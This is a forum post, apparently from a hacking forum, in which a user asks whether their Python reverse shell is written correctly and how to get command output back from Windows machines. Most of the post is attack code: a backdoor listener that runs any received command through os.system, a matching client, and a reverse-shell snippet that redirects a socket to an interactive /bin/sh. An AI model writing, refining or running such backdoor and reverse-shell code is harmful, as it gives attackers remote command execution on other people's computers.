Hey can someone tell me if this is the write way to do a reverse shell in python
I tried it in the script below
https://evilzone.org/scripting-languages/python-virus-102/Reverse Shell Script:
import socket
import os
def BackConnect():
'''Executing remote commands via "backdoor"...never mind!'''
command=""
s=socket.socket()
port=4444
host=socket.gethostname()
s.bind((host,port))
s.listen(10)
while True:
ip,addr=s.accept()
ip.send("Connected to localhost:")
while command!="quit":
ip.send("Enter Command:\t 'quit' to stop")
command=ip.recv(2222)
res=os.system(command)
if res==0 and command!="quit":
ip.send("Command executed successfuly!")
elif res==1 and command=="quit":
ip.send("Disconnecting....Goodbye!")
else:
ip.send("Command error!")
s.close()
BackConnect()
Client script is:
#This is client.py file
import socket # Import socket module
s = socket.socket() # Create a socket object
host = socket.gethostname() # Get local machine name
port = 4444 #Reserve a port for your service.
if s.connect_ex((host, port))==0:
print s.recv(1024)
while True:
print s.recv(3456)
command=raw_input("Enter command:")
s.send(command)
print"-----------------------------------"
print s.recv(1234)
print"-----------------------------------"
s.close() # Close the socket when done
Linux is quite easy one can use netcat,shell script or a reverse script python..perl .ruby...lua... etc.. etc...
import socket
impot subprocess
import os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
port=4444
host=socket.gethostname()
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
not real...but something like that
.
In windows.....how can i send the command results data back to me i know of PsTools but how can we implement in python for windows.Metasploit does this very well.